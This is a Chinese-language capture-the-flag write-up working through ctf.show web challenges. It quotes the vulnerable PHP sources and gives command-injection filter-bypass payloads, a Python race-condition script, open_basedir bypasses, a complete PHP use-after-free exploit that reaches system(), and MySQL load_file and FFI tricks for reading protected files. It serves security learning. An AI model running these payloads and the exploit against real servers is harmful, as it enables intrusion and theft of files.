\;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|`|\%|\x09|\x26/
怎么把我tac也过滤了
没事能绕过
Text Only |
---|
| t%27%27ac<fla%27%27g.php||
or
t%27%27ac<fla%27%27g.php%0a
|
web51
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:50:30
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
|
过滤了
\;|cat|flag| |[0-9]|*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|`|\%|\x09|\x26|>|\<
我测怎么连< >都要过滤
别忘了还可以用$IFS
Text Only |
---|
| ca%27%27t$IFS/fla%27%27g||
or
ca%27%27t$IFS/fla%27%27g%0a
|
web52
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 18:21:02
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
|
过滤了
\;|cat|flag| |[0-9]|*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|`|\%|\x09|\x26|>|\</
这题没有在后面进行命令拼接,其他和上一题一样
Text Only |
---|
| c%27%27at${IFS}fla%27%27g.php
|
web54
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
|
这题过滤了很多命令,题目通过*使得只要是传入的内容出现如cat三个字符即可被匹配到,无法使用之前的字符拼接方法绕过
这题没过率通配符?
解一
cat命令所在的路径是在/bin/目录下,所以这里相当于直接调用了cat文件执行命令,这里的cat可以看作命令,也是一个文件,所以通配符可以用在这上面(一开始还傻傻的换成uniq看能不能用hhh)。
bin下的命令:Linux /bin 目录下命令简要说明 - 崔旗 - 博客园
同理bin目录下还存在more,所以这里的cat我们换成more也可以读取flag。
解二
Text Only |
---|
| vi${IFS}fla?.php
or
c=uniq${IFS}f???.php //倒序的
or
grep${IFS}%27fla%27${IFS}f???????%0a
|
web55
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: [email protected]
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
|
过滤了
Text Only |
---|
| \;|[a-z]|\`|\%|\x09|\x26|\>|\</
|
这题涉及到一个知识点
也就是无字母数字的命令执行
https://blog.csdn.net/qq_46091464/article/details/108513145
https://blog.csdn.net/qq_46091464/article/details/108557067
无字母数字webshell之提高篇 | 离别歌
思路
- shell下可以利用
.
来执行任意脚本
- Linux文件名支持用glob通配符代替
我们可以通过post一个文件(文件里面的sh命令),在上传的过程中,通过.(点)
去执行执行这个文件。(形成了条件竞争)。一般来说这个文件在linux下面保存在/tmp/php??????
一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)
1.构造post数据包
HTML |
---|
| <!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://f3a86e62-7402-4d1d-b950-0d6da4aa4eab.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
|
在上传的文件里面写入sh指令
2.抓包
3.构造执行sh命令的poc
详细解释poc的构造:
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html#glob
我们这里可以理解为我们这道题里面的干扰文件名都是由小写字母组成的,所有文件名都是小写,只有PHP生成的临时文件包含大写字母,那我们就可以构造出如下的poc
注:后面的[@-[]
是linux下面的匹配符,是进行匹配的大写字母。
我们就来吧
修改一下指令内容即可得到flag
web56
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
|
\;|[a-z]|[0-9]|\$|(|{|\'|\"|`|\%|\x09|\x26|>|\<
这题相比上一题多过滤了一个数字,不影响我们上题的解题方法
这里不再赘述
放个大佬的脚本
Python |
---|
| import requests
while True:
url = "http://a88c904d-6cd4-4eba-b7e9-4c37e0cf3a7d.chall.ctf.show/?c=.+/???/????????[@-[]"
r = requests.post(url, files={"file": ('feng.txt', b'cat flag.php')})
if r.text.find("flag") > 0:
print(r.text)
break
|
web57
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: [email protected]
# @link: https://ctfer.com
*/
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
|
过滤条件增加
\;|[a-z]|[0-9]|`||#|\'|\"|`|\%|\x09|\x26|\x0a|>|\<|.|\,|\?|*|-|=|[/
这道题把?
过滤了,但是我们可以看到
Text Only |
---|
| system("cat ".$c.".php");
|
这题会将我们传入的get参数进行拼接后再执行
题目里有个暗示
也就是说我们要用符号构造出36
我们可以利用linux的$(())构造出36
在linux里面\((())=0,\)((~ $(()) ))=-1
其中~符号表示取反,这里0的取反等于-1
也就是我们先将36个-1加起来再取反得到我们需要的36
payload:
Text Only |
---|
| c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
|
从而得到flag
web58
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
|
payload:
Text Only |
---|
| c=highlight_file("flag.php");
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php //文件包含,得到的回显需要进行base64解码
c=show_source('flag.php');
|
web59
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
|
解法与上题一致,不再赘述
(没搞懂两题有什么区别)
web60
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
|
解法依旧与web58一致
可能我太菜了看不出有什么区别
web61
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
|
依旧web58
web62
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
|
依旧...
web62
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
|
依旧......
web63
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
|
依旧......
web64
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
|
嘶,怎么还是那样...
web65
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
|
同上...
web66
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
|
本来以为还是一样的,没想到...
看来我们要想办法查目录了
我们可以尝试利用php中查询目录的函数
比如 scandir()
接下来就是查flag,可以通过文件包含来查
flag.txt前面记得加上/
web67
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
|
这题解法与web66一致
web68
这题貌似只是show_source和highlight_file用不了,其他没什么变化
可以直接用前两题的方法
也可以直接
Text Only |
---|
| c=include('/flag.txt') //赌
|
web69
这题相比上一题,print_r() 和 var_dump() 也被禁用了
我们可以通过寻找其他可以打印数组的函数来打印目录
我们可以通过var_export()来代替,从而打印目录
Text Only |
---|
| c=var_export(scandir("/"));
|
接下读flag即可
Text Only |
---|
| c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=/flag.txt
|
其他的解法:
查文件
Text Only |
---|
| ?c=echo implode(",",(scandir('/')));
?c=echo json_encode(scandir("/"));
|
读文件
Text Only |
---|
| ?c=readgzfile('/flag.txt');
|
web70
这题把error_reporting()和ini_set()禁用了
虽然不知道有什么用,不影响我用上一题的方法读flag
web71
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
|
也就是说这道题会对回显进行处理,让我们没法得到回显
我们可以用exit()/die()提前结束程序,从而不执行后续代码直接进行回显
Text Only |
---|
| c=var_export(scandir("/"));exit();
|
Text Only |
---|
| c=readgzfile('/flag.txt');exit();
|
web72
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
|
这道题一开始还以为和上一题差不多
先进行目录查询
Text Only |
---|
| c=var_export(scandir("./"));exit();
|
注意⚠️ 这道题只有权限查询的当前目录也就是./
而无法访问到其他目录的文件,如 / 根目录
尝试使用 scandir() 函数来扫描根目录,但由于 open_basedir 限制,这个操作被禁止了。
open_basedir 是 PHP 的一个安全配置指令,用来限制 PHP 脚本只能访问特定的目录。
当前配置只允许访问 /var/www/html/ 目录及其子目录,但不允许访问其他目录。
原文链接:https://blog.csdn.net/Myon5/article/details/140079942
我们可以尝试用glob协议绕过open_basedir协议
payload:(记得删注释)
PHP |
---|
| c=?><?php $a=new DirectoryIterator("glob:///*");// 创建一个DirectoryIterator对象,遍历根目录
foreach($a as $f)// 遍历每个条目
{
echo($f->__toString().' ');// 输出条目的名称,并添加一个空格
}
exit(0); // 终止脚本执行
?>
|
或者
payload:(记得删注释)
PHP |
---|
| c=?><?php $a = opendir("glob:///*"); // 打开根目录,并将目录句柄赋值给$a
while (($file = readdir($a)) !== false) { // 循环读取目录中的每个条目
echo $file . "<br>"; // 输出每个条目的名称,并添加HTML换行标签
};
exit(0); // 终止脚本执行
?>
|
我们可以发现flag0.php
利用uaf的脚本进行命令利用uaf的脚本进行命令执行执行:
尝试执行ls /; cat /flag0.txt命令
PHP |
---|
| c=?><?php
pwn("ls /;cat /flag0.txt");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf('%c',$ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf('%c',$v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
?>
|
记得要转url
所以什么是uaf呢?
(先挖个坑回头补)
web73
这一题和上一题的区别其实就是flag的文件改名了,我们用上一题的方法读一下文件
Text Only |
---|
| c=?><?php $a=new DirectoryIterator("glob:///*");// 创建一个DirectoryIterator对象,遍历根目录
foreach($a as $f)// 遍历每个条目
{
echo($f->__toString().' ');// 输出条目的名称,并添加一个空格
}
exit(0); // 终止脚本执行
?>
|
可以看到一个flagc.txt文件
这题其实已经关闭了open_basedir,所以我们也可以用之前的方法读
Text Only |
---|
| var_export(scandir('/'));exit();
|
Text Only |
---|
| echo(implode(' ',scandir('/')));exit();
|
读文件的话上一题的uaf方法被ban了,这题用不了
所以我们还是用之前方法
Text Only |
---|
| c=readgzfile('/flagc.txt');exit();
|
web74
这题我先用之前的方法var_export试试能不能读到目录,发现显示null,应该是open_basedir打开了
接着用glob协议的方法读到了,flag文件名叫做flagx.txt
先用uaf的方法试试
发现这条路被ban掉了
最后用
Text Only |
---|
| c=readgzfile('/flagx.txt');exit();
|
成功查到了flag
web75
这题要用glob查文件,用var_export查不了
接下来是读文件
尝试了uaf和readgzfile之类的方法都失败了
没办法看看大佬怎么做的
我们其实可以用到mysql的load_file方法,从而读到flag
payload:
PHP |
---|
| c=$conn = mysqli_connect("127.0.0.1", "root", "root", "ctftraining"); $sql = "select load_file('/flag36.txt') as a"; $row = mysqli_query($conn, $sql); while($result=mysqli_fetch_array($row)){ echo $result['a']; } exit();
|
豆包解释一下
- 数据库连接:
$conn = mysqli_connect("127.0.0.1", "root", "root", "ctftraining");
- 这行代码使用 MySQLi 扩展建立了一个与 MySQL 数据库的连接。它指定了数据库服务器的 IP 地址为
127.0.0.1
(本地主机),用户名是root
,密码也是root
,要连接的数据库名称是ctftraining
。如果连接成功,$conn
将保存这个数据库连接对象,以便后续进行数据库操作;如果连接失败,将会产生一个错误信息(不过在这段代码中没有对连接失败情况做显式处理)。
- SQL 查询语句构建:
$sql = "select load_file('/flag36.txt') as a";
- 这里构建了一个 SQL 查询语句。
load_file()
是 MySQL 中的一个函数,它的作用是读取指定路径的文件内容,并以字符串的形式返回。在这个查询中,它试图读取服务器上/flag36.txt
文件的内容,并给查询结果的这一列起了一个别名a
。
- 执行查询并获取结果:
$row = mysqli_query($conn, $sql);
- 这行代码使用已经建立好的数据库连接
$conn
来执行前面构建的 SQL 查询语句$sql
。如果查询执行成功,$row
将包含查询结果集的资源对象(可以理解为指向查询结果数据的一种引用);如果查询失败,同样会产生一个错误信息(这里也未做显式处理)。
while($result=mysqli_fetch_array($row)){ echo $result['a']; }
- 这个
while
循环用于遍历查询结果集。mysqli_fetch_array()
函数每次从结果集中获取一行数据,并以数组的形式返回。在循环内部,它通过$result['a']
来获取前面查询中load_file()
函数读取到的文件内容(因为在查询中给这一列起了别名a
),并将其输出到屏幕上。
- 程序结束:
exit();
- 这行代码使得脚本在完成查询结果输出后立即终止执行,不再执行后续可能存在的其他代码。
也可以
用PDO的方法来实现同样的目的
payload:
PHP |
---|
| c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
|
- 数据库连接建立:
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
- 这行代码使用 PDO 创建了一个与 MySQL 数据库的连接对象
$dbh
。它指定了数据库服务器的主机名为 localhost
,要连接的数据库名称是 ctftraining
,以及用于登录数据库的用户名 root
和密码 root
。如果连接成功,后续就可以通过这个对象进行数据库相关的操作;如果连接失败,将会抛出一个 PDOException
异常。
- 执行查询操作:
foreach($dbh->query('select load_file("/flag36.txt")') as $row)
- 这里通过已建立的数据库连接对象
$dbh
执行了一个 SQL 查询语句 select load_file("/flag36.txt")
。load_file()
是 MySQL 中的一个函数,用于读取指定路径的文件内容。这个查询语句的目的就是获取服务器上 /flag36.txt
文件的内容。
- 然后使用
foreach
循环来遍历查询结果集。每次循环,$row
将会获取到查询结果集中的一行数据,由于查询结果只有一列(即 load_file()
函数返回的文件内容那一列),所以可以通过 $row[0]
来获取这一列的值。
结果输出与资源释放
- 结果输出:
echo($row[0])."|";
- 在每次遍历查询结果集的循环中,这行代码将获取到的文件内容(通过
$row[0]
)输出到屏幕上,并在后面添加一个 |
作为分隔符。
- 数据库连接资源释放:
$dbh = null;
- 当查询结果处理完毕后,这行代码将数据库连接对象
$dbh
设置为 null
,这有助于释放与该连接相关的资源,确保系统资源的合理利用。
异常处理
- 捕获异常:
catch (PDOException $e) {echo $e->getMessage();exit(0);}
- 整个
try
代码块被放置在一个 try-catch
语句中。如果在尝试建立数据库连接或执行查询等操作过程中出现任何 PDOException
异常(比如数据库连接失败、查询语句语法错误等情况),异常将会被这个 catch
块捕获。
- 一旦捕获到异常,
catch
块中的代码将会执行。这里首先通过 $e->getMessage()
获取到具体的异常消息,并将其输出到屏幕上,然后使用 exit(0)
终止脚本的执行,以防止后续可能出现的错误或未定义行为。
web76
这题依旧是用glob协议查目录,得到文件名为flag36d.txt
用上一题mysql的方法,成功查到flag
payload:
Text Only |
---|
| c=$conn = mysqli_connect("127.0.0.1", "root", "root", "ctftraining"); $sql = "select load_file('/flag36d.txt') as a"; $row = mysqli_query($conn, $sql); while($result=mysqli_fetch_array($row)){ echo $result['a']; } exit();
|
web77
用glob协议的方法查出flag文件为flag36x.php,还有一个readflag文件
接下来要看看怎么查文件
上两题用到的读flag的方法(mysql)这题用不了,需要想点其他的方法
官方的wp用 PHP 中的 FFI(Foreign Function Interface)方法来调用 C 语言的 system 函数,并执行一个 Shell 命令。
什么是FFI?
PHP FFI(Foreign Function Interface)是 PHP 7.4 及以上版本引入的一个强大功能。它允许 PHP 代码直接调用 C 语言函数,从而实现了 PHP 与 C 语言的高效交互。这为 PHP 开发者提供了一种利用 C 语言的高性能和底层操作系统功能的方式。
payload:
Text Only |
---|
| $ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数
|
通过执行目录中的 /readflag 程序并将其输出重定向到文件 1.txt中(因为只是执行的话没有回显)
执行一下
看到有回显应该是成功了,访问一下1.txt
由于当前用户权限不足我们是不能直接读flag36x.php文件中的内容的,只能通过readflag(脚本里面会进行提权)来读
web118
原文地址:https://blog.csdn.net/Myon5/article/details/140145005
输入数字和小写字母,回显 evil input
查看源码,发现这里会将提交的参数 code 传给 system 函数
使用 burpsuite 抓包进行单个字符的模糊测试 fuzz:
发现过滤掉了数字和小写字母以及一些符号,下面框起来的部分是可用的
结合题目提示:flag 在 flag.php
那么我们就需要构造出命令去读取 flag.php
我们先来了解一下 Linux 的内置变量
在 Linux 系统中,有许多内置变量(环境变量)用于配置系统行为和存储系统信息。
(1)$BASH
描述:指向当前使用的Bash解释器的路径。
示例:/bin/bash
用途:用于确定正在使用的Bash版本和路径。
(2) $PATH
描述:存储一系列路径,这些路径用于查找可执行文件,当你在命令行中输入命令时,系统会在这些路径中查找对应的可执行文件。
示例:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
用途:影响命令的查找和执行,可以添加自定义脚本或程序的路径。
(3)$HOME
描述:当前用户的主目录路径。
示例:/home/username
用途:表示当前用户的主目录,通常用于存储用户配置文件和个人数据。
(4)$PWD
描述:当前工作目录(Present Working Directory)。
示例:/home/username/projects
用途:表示当前的工作目录路径,常用于脚本和命令中获取或显示当前目录。
(5)$USER
描述:当前登录的用户名。
示例:username
用途:表示当前用户的名称,常用于显示或检查用户信息。
(6)$SHELL
描述:当前用户的默认shell。
示例:/bin/bash
用途:表示用户登录时使用的默认shell路径。
(7)$UID
描述:当前用户的用户ID。
示例:1000(普通用户),0(root用户)
用途:标识当前用户的唯一ID。
(8)$IFS
描述:内部字段分隔符(Internal Field Separator),用于分割输入的字段,默认为空格、制表符和换行符。
示例:默认值为
用途:影响脚本中的字段分割,常用于处理输入和解析文本。
此外还有很多的内置变量:
接下来我们需要知道 Bash 变量的切片,与 python 的切片类似,目的还是从指定位置开始提取子字符串,用法:${VAR:offset:length},看例子:
提取从第二个字符开始的两个字符,即 ro,在 Bash 中,字符串切片的索引也是从 0 开始的。
如果只填一个参数,会默认从指定的位置开始提取到字符串的末尾:
